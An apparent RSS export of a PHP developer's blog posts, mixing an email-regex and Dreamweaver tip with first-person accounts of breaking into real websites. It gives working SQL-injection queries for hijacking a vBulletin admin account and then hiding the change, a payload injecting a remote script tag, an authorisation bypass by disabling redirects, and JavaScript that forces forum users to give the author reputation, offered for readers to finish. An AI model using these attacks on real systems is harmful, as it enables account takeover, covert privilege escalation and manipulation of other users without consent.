&lt;pre&gt;function is_valid_email($email)&lt;br/&gt;{&lt;br/&gt;	return (bool) preg_match(&lt;br/&gt;		'~^([^\\x00-\\x20\\x22\\x28\\x29\\x2c\\x2e\\x3a-\\x3c' .&lt;br/&gt;		'\\x3e\\x40\\x5b-\\x5d\\x7f-\\xff]+|\\x22([^\\x0d' .&lt;br/&gt;		'\\x22\\x5c\\x80-\\xff]|\\x5c[\\x00-\\x7f])*\\x22)' .&lt;br/&gt;		'(\\x2e([^\\x00-\\x20\\x22\\x28\\x29\\x2c\\x2e' .&lt;br/&gt;		'\\x3a-\\x3c\\x3e\\x40\\x5b-\\x5d\\x7f-\\xff]+|' .&lt;br/&gt;		'\\x22([^\\x0d\\x22\\x5c\\x80-\\xff]|\\x5c\\x00' .&lt;br/&gt;		'-\\x7f)*\\x22))*\\x40([^\\x00-\\x20\\x22\\x28' .&lt;br/&gt;		'\\x29\\x2c\\x2e\\x3a-\\x3c\\x3e\\x40\\x5b-\\x5d' .&lt;br/&gt;		'\\x7f-\\xff]+|\\x5b([^\\x0d\\x5b-\\x5d\\x80-\\xff' .&lt;br/&gt;		']|\\x5c[\\x00-\\x7f])*\\x5d)(\\x2e([^\\x00-\\x20' .&lt;br/&gt;		'\\x22\\x28\\x29\\x2c\\x2e\\x3a-\\x3c\\x3e\\x40' .&lt;br/&gt;		'\\x5b-\\x5d\\x7f-\\xff]+|\\x5b([^\\x0d\\x5b-' .&lt;br/&gt;		'\\x5d\\x80-\\xff]|\\x5c[\\x00-\\x7f])*\\x5d))*$~',&lt;br/&gt;		$email&lt;br/&gt;	);&lt;br/&gt;}&lt;/pre&gt;
&lt;p&gt;(I don’t take credit for that regex. Can’t remember where I got it from.)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To be continued…&lt;/strong&gt;&lt;/p&gt;</description><link>http://nic0.me/post/579191344</link><guid>http://nic0.me/post/579191344</guid><pubDate>Fri, 07 May 2010 19:31:00 +0200</pubDate></item><item><title>Dreamweaver CS4 and PHP 5.3 code highlighting.</title><description>&lt;p&gt;Dreamweaver CS4 was released in late 2008, when a lot of PHP 5’s functions weren’t available yet (especially PHP 5.3’s stuff). Needless to say, those functions/constants, and language constructs won’t be highlighted properly. But luckily, this is easy to fix.&lt;/p&gt;
&lt;p&gt;There’s an XML file located at:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;C:\Program Files\Adobe\Adobe Dreamweaver CS4\configuration\CodeColoring\PHP.xml&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Or %programfiles%\Adobe\Adobe Dreamweaver CS4\configuration\CodeColoring\PHP.xml&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;…which holds all keywords, and we can just add our own.&lt;em&gt;&lt;br/&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I’ve created my own file with all (or at least most) missing stuff. Including PHP 5.3’s namespaces, new functions, constants etc. I’ve also included the cURL constants which were missing, MySQLi, and what not.&lt;/p&gt;
&lt;p&gt;You can download the file &lt;a href="http://www.nicoswd.com/temp/PHP.xml"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Backup your old file, and replace it with the new one. You must restart Dreamweaver after making the changes!&lt;/p&gt;
&lt;p&gt;This file works for PC and Mac, by the way.&lt;/p&gt;
&lt;p&gt;On a further note, I’ve actually written a PHP script running on PHP 5.3.1 to generate big part of this file. Thanks to &lt;em&gt;get_defined_functions()&lt;/em&gt; and &lt;em&gt;get_defined_constants()&lt;/em&gt;, I probably didn’t miss a whole lot. If I did, let me know.&lt;/p&gt;</description><link>http://nic0.me/post/551140242</link><guid>http://nic0.me/post/551140242</guid><pubDate>Mon, 26 Apr 2010 19:17:00 +0200</pubDate></item><item><title>It's time again... exit;</title><description>&lt;p&gt;As most of you probably don’t know, I work in a real estate agency. So every now and then I search for new websites where I can upload our properties to.&lt;/p&gt;
&lt;p&gt;Recently I came across bancodecasas.com&lt;/p&gt;
&lt;p&gt;When I first saw the site, I already had the feeling that something wasn’t quite right with it.&lt;/p&gt;
&lt;p&gt;The site allows you to upload up to 8 images per property. So basically, you have 8 steady slots for images, whether they contain images or not, they’re there. If one of the slots is empty, the site shows a default image, which is just a placeholder. Well that was the idea, but the paths to the default images were wrong, so Firefox was unable to display these images. Not very professional, I thought to myself. There are also buttons to delete the images. If I click the button, I get a PHP error:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Warning: unlink(../images/mgrafico/noimagen.jpg) [function.unlink]: No such file or directory in /home/xxxxxxxxxx/xxxxxxxx/xxxxxxxxxx.xxx/public_html/userspanel/eliminarimg3.php  on line 17&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;That, is what I call a major logic error in the script. First off, there shouldn’t be a “delete button” if there’s no image. And second, I (as user) shouldn’t be able to delete any images except my own. They also had a separate PHP file for each image. Meaning, “eliminarimg1.php” would delete the first image, “eliminarimg2.php” the second, etc… I found this fairly unprofessional too, from a technical point of view.&lt;/p&gt;
&lt;p&gt;This is where it started getting suspicious. If there are silly errors like this, there must be some security related errors as well.&lt;/p&gt;
&lt;p&gt;I went to the page where you can modify your uploaded properties. The URL in the address bar held the ID of my property. My first thought was, okay, what if I change the ID to some other ID, which would be the one of a property that I didn’t upload.&lt;/p&gt;
&lt;p&gt;I picked a random ID and tried it out, but the site redirected me to the main page instead of showing me the property. I was a little surprised they thought of checking for this at all. But I went a step further…&lt;/p&gt;
&lt;p&gt;What if I disabled HTTP redirects? I’m assuming they’re simply using a &lt;em&gt;header(‘Location: xxx’)&lt;/em&gt; redirect if the property doesn’t appear to be mine.&lt;/p&gt;
&lt;p&gt;I disabled redirects, and voila, I was able to see and edit other properties.&lt;/p&gt;
&lt;p&gt;Wait, what happened here?&lt;/p&gt;
&lt;p&gt;They verify if the property with ID (given by URL) belongs to the current user (they’re using simple PHP sessions to identify them). If the property doesn’t belong to the user, they send a new &lt;em&gt;Location&lt;/em&gt; header which redirects the browser to a new page.&lt;/p&gt;
&lt;p&gt;Something like this:&lt;/p&gt;
&lt;pre&gt;if ($property['userid'] != $_SESSION['userid'])&lt;br/&gt;{&lt;br/&gt;    header('Location: xxxxx');&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;em&gt;header()&lt;/em&gt; function only sends a new location to the browser. But the browser behaves the way I want it to, and I can tell it to stop following those redirects.&lt;/p&gt;
&lt;p&gt;Besides, &lt;em&gt;header()&lt;/em&gt; does not stop the code execution. The rest of the code continues running after sending the header. Usually the browser redirects fast enough, before anyone would notice, though.&lt;/p&gt;
&lt;p&gt;So I think what I’ve done here is getting obvious. I disabled HTTP redirects on my browser, and was able to see the actual page because nothing prevented the code from continuing after sending the redirect.&lt;/p&gt;
&lt;p&gt;What they should have done is as simple as an &lt;em&gt;exit()&lt;/em&gt; or &lt;em&gt;die()&lt;/em&gt; call after the &lt;em&gt;header()&lt;/em&gt; call. Yup, it’s that easy.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.php.net/exit"&gt;http://www.php.net/exit&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;WAIT, I’m not done yet with this site!&lt;/p&gt;
&lt;p&gt;They have one of those fancy WYSIWYG editors for the description of the property (&lt;a title="TinyMCE" href="http://tinymce.moxiecode.com/"&gt;TinyMCE&lt;/a&gt;, if you must know). Next, I checked if I was able to inject JavaScript code somewhere. I typed some code into the editor, saved, and checked what happened. Looks like my input is being converted to HTML entities, and therefore useless once saved.&lt;/p&gt;
&lt;p&gt;But I didn’t give up here. I figured that perhaps TinyMCE is actually the guilty converter. I popped up Firebug, and changed the fancy editor back to a regular &lt;textarea&gt; field. Once again I typed in some code, hit save, and… SUCCESS! I’m now able to inject an unlimited amount of JavaScript code!&lt;/p&gt;
&lt;p&gt;I mentioned once before that &lt;a href="http://nicoswd.tumblr.com/post/411382010/dont-ever-trust-the-user-he-might-be-a-cunt"&gt;trusting the user when it comes to input, isn’t a good idea&lt;/a&gt;. And this post confirms it.&lt;/p&gt;
&lt;p&gt;Don’t. Ever. Trust. The user.&lt;/p&gt;</description><link>http://nic0.me/post/523446434</link><guid>http://nic0.me/post/523446434</guid><pubDate>Thu, 15 Apr 2010 16:52:00 +0200</pubDate></item><item><title>Fun with JavaScript injection.</title><description>&lt;p&gt;&lt;b&gt;UPDATE:&lt;/b&gt; Now that I’ve patched the exploit, you might no longer be able to inject your code. So in this post I’ll just assume that you’ve found your way to inject code and are curious as to what you can do now.&lt;/p&gt;
&lt;p&gt;Now that we can &lt;a href="http://nicoswd.tumblr.com/post/407302204/htmlspecialchars-doesnt-prevent-javascript"&gt;inject JavaScript&lt;/a&gt; into our posts, why not have some fun with it?&lt;/p&gt;
&lt;p&gt;How about we make some users give us some reputation? I wrote some functions which make this quite easy.&lt;/p&gt;
&lt;p&gt;This is only a part of a class I wrote, and I’m not going to post it all (as of now).&lt;/p&gt;
&lt;pre&gt;this.getUserId = function()&lt;br/&gt;{&lt;br/&gt;	// Check vB cookie first&lt;br/&gt;	var vbcookie = readCookie(COOKIE PREFIX  + 'userid'); // You need to find out the prefix by yourself.&lt;br/&gt;	if (vbcookie !== null)&lt;br/&gt;		return parseInt(vbcookie);&lt;br/&gt;&lt;br/&gt;	// Check for custom cookie&lt;br/&gt;	var userid = readCookie('_u');&lt;br/&gt;	if (userid !== null)&lt;br/&gt;		return parseInt(userid);&lt;br/&gt;&lt;br/&gt;	// Is on a page without tools menu.&lt;br/&gt;	if (!document.getElementById('usercptools_menu'))&lt;br/&gt;		return 0;&lt;br/&gt;&lt;br/&gt;	var links = document.getElementById('usercptools_menu').getElementsByTagName('a');&lt;br/&gt;	var total = links.length;&lt;br/&gt;&lt;br/&gt;	for (var i = 0; i &lt; total; i++)&lt;br/&gt;	{&lt;br/&gt;		var result = links[i].href.match(/member\.php\?u=(\d+)/);&lt;br/&gt;&lt;br/&gt;		if (result &amp;&amp; result[1])&lt;br/&gt;		{&lt;br/&gt;			createCookie('_u', result[1], 365); // Cookie for faster and safer access next time.&lt;br/&gt;			return parseInt(result[1]);&lt;br/&gt;		}&lt;br/&gt;	}&lt;br/&gt;&lt;br/&gt;	return 0;&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;This code attempts to get the current user’s ID whenever possible, so we can filer the users. Meaning we can decide which users we want to “attack”.&lt;/p&gt;
&lt;p&gt;The cookie functions I’m using can be found &lt;a href="http://www.quirksmode.org/js/cookies.html"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, now that we can chose the affected users, let’s make them “rep” us. I’m not going to explain the whole code. If you understand it, you’ll see what changes you’re gonna have to make. Otherwise you probably shouldn’t be reading this blog in first place.&lt;/p&gt;
&lt;pre&gt;window.onload = function()&lt;br/&gt;{&lt;br/&gt;    var userid = this.getUserID();&lt;br/&gt;    if (userid != 0 &amp;&amp; [array, of, ids].indexOf(userid) == -1)&lt;br/&gt;    {&lt;br/&gt;		var rep = document.getElementsByTagName('a');&lt;br/&gt;		var images;&lt;br/&gt;&lt;br/&gt;		for (var r = 0; r &lt; rep.length; r++)&lt;br/&gt;		{&lt;br/&gt;			if (rep[r].href &amp;&amp; rep[r].href.indexOf('reputation.php') != -1)&lt;br/&gt;			{&lt;br/&gt;				images = rep[r].getElementsByTagName('img');&lt;br/&gt;&lt;br/&gt;				if (images &amp;&amp; images[0] &amp;&amp; images[0].title &amp;&amp; images[0].title.indexOf('Add to XXXXX\'s R') != -1)&lt;br/&gt;				{&lt;br/&gt;					id = rep[r].id.substr(rep[r].id.lastIndexOf("_") + 1);&lt;br/&gt;					var A = vBrep.reps[id];&lt;br/&gt;&lt;br/&gt;					if (A.vbmenu == null)&lt;br/&gt;						A.populate();&lt;br/&gt;					else&lt;br/&gt;					{&lt;br/&gt;						if (vBmenu.activemenu != A.vbmenuname)&lt;br/&gt;							A.vbmenu.show(fetch_object(A.vbmenuname));&lt;br/&gt;						else&lt;br/&gt;							A.vbmenu.hide();&lt;br/&gt;					}&lt;br/&gt;&lt;br/&gt;					window.setTimeout('submit_Rep()', 1000);&lt;br/&gt;					break;&lt;br/&gt;				}&lt;br/&gt;			}&lt;br/&gt;		}&lt;br/&gt;&lt;br/&gt;		delete rep;&lt;br/&gt;	}&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;function submit_Rep()&lt;br/&gt;{&lt;br/&gt;	var reason = document.getElementsByName('reason');&lt;br/&gt;&lt;br/&gt;	if (!reason &amp;&amp; !reason[0])&lt;br/&gt;		return window.setTimeout('submit_Rep()', 1000);&lt;br/&gt;&lt;br/&gt;	reason[0].value = 'Message goes here';&lt;br/&gt;	var A = vBrep.reps[id];&lt;br/&gt;	A.submit();&lt;br/&gt;}&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;This will make users “rep” you, whether they want to or not. Although, they will probably get annoyed, because this will attempt to give reputation every time they open one of the threads you replied to. We could easily set a cookie to only make them rep you once a week or something. But I’ll leave that up to you. I’ve done the most difficult part for you already.&lt;/p&gt;
&lt;p&gt;Happy experimenting.&lt;/p&gt;</description><link>http://nic0.me/post/411515697</link><guid>http://nic0.me/post/411515697</guid><pubDate>Thu, 25 Feb 2010 19:26:00 +0100</pubDate></item><item><title>Unwanted promotion.</title><description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I’ve patched this exploit using my newly acquired admin  powers. It will no longer work. So don’t waste your time! ;p&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There’s another section on this site, where users can upload their music to promote it.&lt;/p&gt;
&lt;p&gt;On the front page of the forum, there are the top 5 songs of the month. (The 5 most played songs).&lt;/p&gt;
&lt;p&gt;In the user CP, there’s a form where you can upload your MP3, and add a title, album, and track number. And yet again, the user input wasn’t being escaped at all. I figured this out quickly by only entering a single quote into one of the fields, and receiving this error:&lt;/p&gt;
&lt;pre&gt;&lt;strong&gt;Invalid SQL:&lt;br/&gt;UPDATE profile_audio SET title = ''', album = '',tracknumber =  '00' WHERE audioid = 'xxx';&lt;br/&gt;&lt;br/&gt;&lt;/strong&gt;&lt;/pre&gt;
&lt;p&gt;Great! Again we have full write/UPDATE access to the whole “profile_audio” table. Now how to make use of this?&lt;/p&gt;
&lt;p&gt;Remember I have &lt;a title="Full admin rights" target="_blank" href="http://nic0.me/post/398267973/how-to-take-ownership-of-a-forum"&gt;full admin rights&lt;/a&gt;? So I went to the admin CP to see if I was able to find useful information about the audio table. It didn’t take me long to find a list of all uploaded MP3s, including their information. There was one column called “Views per month”, and it took me about 3 guesses to find out that the actual field name in the database was “viewsmonth”.&lt;/p&gt;
&lt;p&gt;Now let’s try to update this value using the exploit.&lt;/p&gt;
&lt;p&gt;The user input was limited to 30, but yet again on the client-side only. I opened my best friend Firebug and removed this: &lt;strong&gt;maxlength=”30”&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;UPDATE `profile_audio`&lt;br/&gt;SET title='', `viewsmonth` = 5000&lt;br/&gt;WHERE `audioid` = xxx&lt;/pre&gt;
&lt;p&gt;Yes, it’s that easy. Now my song is on the front page, and first in the list. But that’s not all. This exploit would also allow me to inject JavaScript into the front page, &lt;a target="_blank" href="http://nic0.me/post/407302204/htmlspecialchars-doesnt-prevent-javascript"&gt;as explained here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If I had malicious intentions, I could really mess things up now.&lt;/p&gt;</description><link>http://nic0.me/post/411440331</link><guid>http://nic0.me/post/411440331</guid><pubDate>Thu, 25 Feb 2010 18:29:00 +0100</pubDate></item><item><title>Don't ever trust the user... he might be a cunt!</title><description>&lt;p&gt;I’m still on the same message board, and I’m still looking for useful exploits.&lt;/p&gt;
&lt;p&gt;I think the only things that keeps me motivated are boredom, and the fact that there are so many exploits.&lt;/p&gt;
&lt;p&gt;Here’s a new one.&lt;/p&gt;
&lt;p&gt;There are two plug-ins that work together. A public gallery (&lt;a title="PhotoPost" target="_blank" href="http://www.photopost.com/"&gt;PhotoPost&lt;/a&gt;), and a custom add-on by the admin, which allows users to customize their post area. You can set a custom background image, colors, border, font, etc…&lt;/p&gt;
&lt;p&gt;If you want to set a background image, you have to upload it to the gallery, and it’ll be shown later in a list in his custom add-on where you can pick it. What I didn’t like about this is that only images below 80kb are shown. That’s not very much if you want to use an animated GIF.&lt;/p&gt;
&lt;p&gt;But to my luck, he trusted me (the user) too much again. I uploaded the image I wanted to the gallery, which was around 200kb. I opened the image in the gallery and copied its ID from the URL.&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.tumblr.com/tumblr_l2meq9e4kZ1qaklm8.png"/&gt;&lt;/p&gt;
&lt;p&gt;Then I went back to the control panel where I can chose the images. Needless to say, the image I uploaded didn’t show because it was too big. So I took a look at the source code, and found this:&lt;/p&gt;
&lt;pre&gt;&lt;input name="bg_image" type="radio" value="3745"  /&gt;&lt;/pre&gt;
&lt;p&gt;So I opened up Firebug again, and replaced the ID with the ID I copied earlier. And I added a “checked”.&lt;/p&gt;
&lt;pre&gt;&lt;input name="bg_image" type="radio" value="new ID" checked="checked" /&gt;&lt;/pre&gt;
&lt;p&gt;I minimized Firebug, hit the submit button, and there we go. Size limit bypassed successfully.&lt;/p&gt;
&lt;p&gt;So what went wrong here?&lt;/p&gt;
&lt;p&gt;The admin selected the images on the server-side, and made the script display only images under 80kb. That means the user receives a list of images he wants to allow. But somehow, the user has to post back the ID of the image they selected, so it can be saved in the database.&lt;/p&gt;
&lt;p&gt;And here is where a second check should have been done. Get the ID the user submitted, and look it up in the database, and then check the size of the image AGAIN. Only this would have prevented this.&lt;/p&gt;</description><link>http://nic0.me/post/411382010</link><guid>http://nic0.me/post/411382010</guid><pubDate>Thu, 25 Feb 2010 17:45:00 +0100</pubDate></item><item><title>htmlspecialchars() doesn't prevent JavaScript injection.</title><description>&lt;p&gt;In this post, I’ll be using the same exploit as in the &lt;a title="last post" target="_blank" href="http://nic0.me/post/398267973/how-to-take-ownership-of-a-forum"&gt;last post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Yet again, the user input wasn’t being escaped using &lt;em&gt;mysql_real_escape_string()&lt;/em&gt;. I  figured this out the same way I always do, by entering a single quote and receiving a MySQL error about an invalid syntax.&lt;/p&gt;
&lt;p&gt;However, &lt;em&gt;htmlspecialchars()&lt;/em&gt; with default quote style &lt;strong&gt;ENT_COMPAT&lt;/strong&gt; was applied. This results in my input being converted to HTML entities. Well, most of it whatsoever. Fortunately, the most important character, in terms of exploiting SQL queries, remains untouched. And thus being the single quote; ‘&lt;/p&gt;
&lt;p&gt;Applying&lt;strong&gt; ENT_QUOTES &lt;/strong&gt;&lt;em&gt;could&lt;/em&gt; have prevented this, as it converts single quotes as well. But apparently this is unknown to most programmers.&lt;/p&gt;
&lt;p&gt;Allowing me to insert unescaped single quotes into SQL queries allows me to exploit/modify them. And thanks to a little trick, it even allows me to insert HTML or even Javascript code.&lt;/p&gt;
&lt;p&gt;What happens when &lt;em&gt;htmlspecialchars()&lt;/em&gt; is applied, is that “&lt;strong&gt;&lt;&lt;/strong&gt;” becomes &lt;strong&gt;&amp;lt;&lt;/strong&gt; … “&lt;strong&gt;&gt;&lt;/strong&gt;” becomes &lt;strong&gt;&amp;gt;&lt;/strong&gt; … etc… which usually would prevent code injection.&lt;/p&gt;
&lt;p&gt;But in this case we’re injecting our code directly into an SQL statement. That means we can let native SQL write those characters. The &lt;a target="_blank" href="http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_char"&gt;CHAR()&lt;/a&gt; function does exactly that.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CHAR(60)&lt;/strong&gt; equals &lt;strong&gt;&lt;&lt;/strong&gt;&lt;br/&gt;&lt;strong&gt;CHAR(62)&lt;/strong&gt; equals &lt;strong&gt;&gt;&lt;/strong&gt;&lt;br/&gt;&lt;strong&gt;CHAR(34) &lt;/strong&gt;equals&lt;strong&gt; “&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There’s a complete reference on &lt;a title="http://www.asciitable.com/" target="_blank" href="http://www.asciitable.com/"&gt;&lt;a href="http://www.asciitable.com/"&gt;http://www.asciitable.com/&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And it can be used like this:&lt;/p&gt;
&lt;pre&gt;UPDATE `user` SET `usertitle` = CONCAT(&lt;br/&gt;    CHAR(60), 'script src=', CHAR(34), 'http://source.com/src.js',&lt;br/&gt;    CHAR(34, 62, 60), '/script', CHAR(62)&lt;br/&gt;)&lt;br/&gt;WHERE `userid` = xxx&lt;/pre&gt;
&lt;p&gt;Which will be equivalent to:&lt;/p&gt;
&lt;pre&gt;&lt;script src="http://source.com/src.js"&gt;&lt;/script&gt;&lt;/pre&gt;
&lt;p&gt;If the user input would have been escaped properly, I wouldn’t have been able to modify the SQL query, and I wouldn’t have been able to inject my code.&lt;/p&gt;
&lt;p&gt;Read PHP’s &lt;em&gt;&lt;a title="mysql_real_escape_string()" target="_blank" href="http://www.php.net/mysql_real_escape_string"&gt;mysql_real_escape_string()&lt;/a&gt;&lt;/em&gt; manual… DO IT!&lt;/p&gt;</description><link>http://nic0.me/post/407302204</link><guid>http://nic0.me/post/407302204</guid><pubDate>Sun, 21 Feb 2010 19:02:00 +0100</pubDate></item><item><title>How to take ownership of a forum.</title><description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I’ve patched this exploit using my newly acquired admin powers. It will no longer work. So don’t waste your time! ;p&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I’ve been on this &lt;a target="_blank" href="http://www.vbulletin.com/"&gt;vBulletin&lt;/a&gt; message board for quite a while now, and we have a  problem there; The administrator left us for dead. He hasn’t been online  for… way too long, and we need some changes on the site.&lt;/p&gt;
&lt;p&gt;I figured this was an appropriate moment to get my hax0r skills  involved. I’m going to explain how I did this, but I’m not going to get into  every detail, as I don’t actually want anyone on this site to try it  out. If you have some SQL/PHP  background, you’ll probably figure this out by yourself. You still shouldn’t try this, though. Something like a missing WHERE clause could make &lt;strong&gt;all&lt;/strong&gt; user accounts unusable. All of them…&lt;/p&gt;
&lt;p&gt;Having that said,… let’s get started! What I need to accomplish is to get admin rights, so I can make the  changes we need. Luckily, the forum has some custom add-ons, made by the  admin himself. I thought this was a good place to start looking for  exploits. There’s one part where you can change other people’s user  title (a little text which is being displayed beneath the user’s screen  name).&lt;/p&gt;
&lt;p&gt;I just entered a single quote ( ’ ) to see if the user input was  being escaped properly, and… jackpot! I received this error:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.tumblr.com/tumblr_l2bf1q7bNw1qaklm8.png"/&gt;&lt;/p&gt;
&lt;p&gt;Don’t EVER show errors like this to the user! Do you realize how useful this information is to  me? I can see the table name (no table prefix), and the field names. I can see exactly what’s going on behind the scenes, and how to exploit this vulnerability.&lt;/p&gt;
&lt;p&gt;Could this be any nicer? I don’t think so. This means I now have full  “UPDATE” access to the “user” table.&lt;/p&gt;
&lt;p&gt;The text input field which I’m using was limited to 21 characters, but luckily only  on the client-side (big big mistake). I opened up Firebug and removed  this attribute from the text field: &lt;strong&gt;maxlength=”21”&lt;/strong&gt;… and the  limit was gone. If you want to limit the input length, don’t trust the user. Do it on the server-side as well. (Hint: &lt;a title="substr" target="_blank" href="http://www.php.net/substr"&gt;substr&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img align="baseline" src="http://media.tumblr.com/tumblr_l2bdnwu2bs1qaklm8.png"/&gt;&lt;/p&gt;
&lt;p&gt;So how can I use this exploit now? I can write to the “users” table  only, that means I can change my usergroup ID to “6” (which is  vBulletin’s &lt;a href="http://www.vbulletin.com/docs/html/main/usergroup_management"&gt;default ID for administrators&lt;/a&gt;). That would gain me access to  the admin panel, but it will only give me a very limited amount of  options (which are worthless to me). The real admin himself needs to give the user all wanted privileges, and this can’t be done in the “users”  table alone. Ideally, I’d need access to his account so I can do this  myself.&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.tumblr.com/tumblr_l2gi2q7TtT1qaklm8.png"/&gt;&lt;/p&gt;
&lt;p&gt;With this exploit, I could change the admin’s password, but needless  to say, he’d realize that the next time he tried to log on. So what if  I copy his password, (which by the way is an &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Md5"&gt;MD5&lt;/a&gt; hashed string), to a  temporary place? This way I could restore it when I’m done with the  changes, as if nothing ever happened.&lt;/p&gt;
&lt;p&gt;I only have “UPDATE” access to the “users” table, so I need a field in there  that can hold at least 32 characters. I figured the “msn” field is just  perfect for that (it holds up to 100 characters). Although, the “yahoo” and “skype” fields would have done it too:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.tumblr.com/tumblr_l2bema9L9A1qaklm8.png"/&gt;&lt;/p&gt;
&lt;p&gt;(Having a local copy of vBulletin comes handy when investigating.)&lt;/p&gt;
&lt;p&gt;So how can I SELECT his password, and copy it to my “msn” field?  Remember that we have to do all tasks with just one single UPDATE query. And usually, you can’t use UPDATE queries with SELECT sub-queries if both  access the same table. But there’s a trick too.&lt;/p&gt;
&lt;pre&gt;UPDATE `user` SET `msn` = (&lt;br/&gt;    SELECT `password` FROM (&lt;br/&gt;        SELECT `userid`, `password` FROM `user` WHERE `userid` = 1&lt;br/&gt;    ) AS `x`&lt;br/&gt;    WHERE userid = 1&lt;br/&gt;)&lt;br/&gt;WHERE userid = xxxx&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;If you want some good piece of advice, don’t forget the WHERE clauses (none of them)! I accidentally selected 50+K users and temporarily crashed the MySQL server.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Sweet! Now my MSN field holds his hashed password, which I don’t want to (and  can’t) reverse. But I need it so I can put it back later when I’m done, so he won’t  notice I “borrowed” his account.&lt;/p&gt;
&lt;p&gt;Okay, I have his hash, now I need to change his password. In pseudo-code, vBulletin  does the hashing like this: &lt;em&gt;md5 ( md5 ( password ) salt )&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For security reasons, every user has their own &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Salt_(cryptography)"&gt;salt&lt;/a&gt; stored in their database row. It’s used to create different MD5 hashes so no one can find the original password using &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Rainbow_table"&gt;rainbow tables&lt;/a&gt;. But in this case, it doesn’t secure anything. We can just grab this salt again and create a new password with it. We don’t even need to know what the actual salt is.&lt;/p&gt;
&lt;p&gt;We can do this with native SQL.&lt;/p&gt;
&lt;pre&gt;UPDATE `user`&lt;br/&gt;SET `password` = MD5(CONCAT(MD5('new pass'),  `salt`))&lt;br/&gt;WHERE `userid` = 1&lt;br/&gt;&lt;/pre&gt;
&lt;p&gt;Easy… Now that I have set my own password, I can just log in with his  account, using his original username and the new password I just created, and give myself all admin rights. After doing that, I simply  change his password back:&lt;/p&gt;
&lt;pre&gt;UPDATE `user`&lt;br/&gt;SET `password` = 'The MD5 value from my MSN field'&lt;br/&gt;WHERE `userid` = 1&lt;/pre&gt;
&lt;p&gt;This might be obvious, but you can get the hash by going to your  profile and reading the value in the MSN field.&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.tumblr.com/tumblr_l2bdn8tij71qaklm8.png"/&gt;&lt;/p&gt;
&lt;p&gt;Done… I now have full admin rights, and the real admin won’t notice  unless he takes a closer look. But then it’s gonna be too late anyway! ;)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Since I have access to the plug-in system now, I could create and install my own ones. And thus, allowing me to upload/download files, or anything else I wanted to do. I have complete control…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt; ALTERNATIVE WAY:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I did not actually try this method, but it &lt;em&gt;should&lt;/em&gt; work as well.&lt;/p&gt;
&lt;p&gt;Users are identified by their unique user IDs rather than their names. This allows the system to let users easily change their name while their permissions (which are stored in different tables) remain. That means, instead of changing the admin’s password, I could set his user ID temporary to an ID that doesn’t exist (how about 0?), and set my own ID to 1.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There’s an &lt;strong&gt;important difference between those two methods&lt;/strong&gt;, though. As soon as we set the admin’s ID to 0, he won’t have any powers anymore. And besides, he won’t be able to log in, due to vBulletin verifying the status like this:&lt;/p&gt;
&lt;pre&gt;if ($vbulletin-&gt;userinfo['userid'] == 0) { /* not logged in */ }&lt;/pre&gt;
&lt;p&gt;0 is the default user ID for “guests”, by the way.&lt;/p&gt;
&lt;p&gt;The other difference is, that we cannot give our own account admin rights, because it &lt;strong&gt;already has them&lt;/strong&gt;! But only as long as we don’t change the ID back to the old one, which we should do quickly, before anyone notices. So if we want our very own account, with permanent rights, we have to create a new one (this can be done easily through the admin panel). If you want to give your existing account new rights, the other method should be applied. (Or… register a new account before changing IDs, and work from there.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Moving on… The user IDs start with 1, and automatically increment by one with each user that registers. The easiest way of not messing up IDs is probably setting the admin’s ID to 0. It’s considered an integer (INT), meaning the database field will be able to hold it, and more importantly, it won’t conflict later with other IDs.&lt;/p&gt;
&lt;p&gt;We can change the IDs by running a simple query similar to:&lt;/p&gt;
&lt;pre&gt;UPDATE `user` SET `userid` = 0 WHERE `userid` = 1&lt;/pre&gt;
&lt;p&gt;And then we set our own ID to 1, running almost the same query.&lt;/p&gt;
&lt;pre&gt;UPDATE `user` SET `userid` = 1 WHERE `userid` = XXXX&lt;/pre&gt;
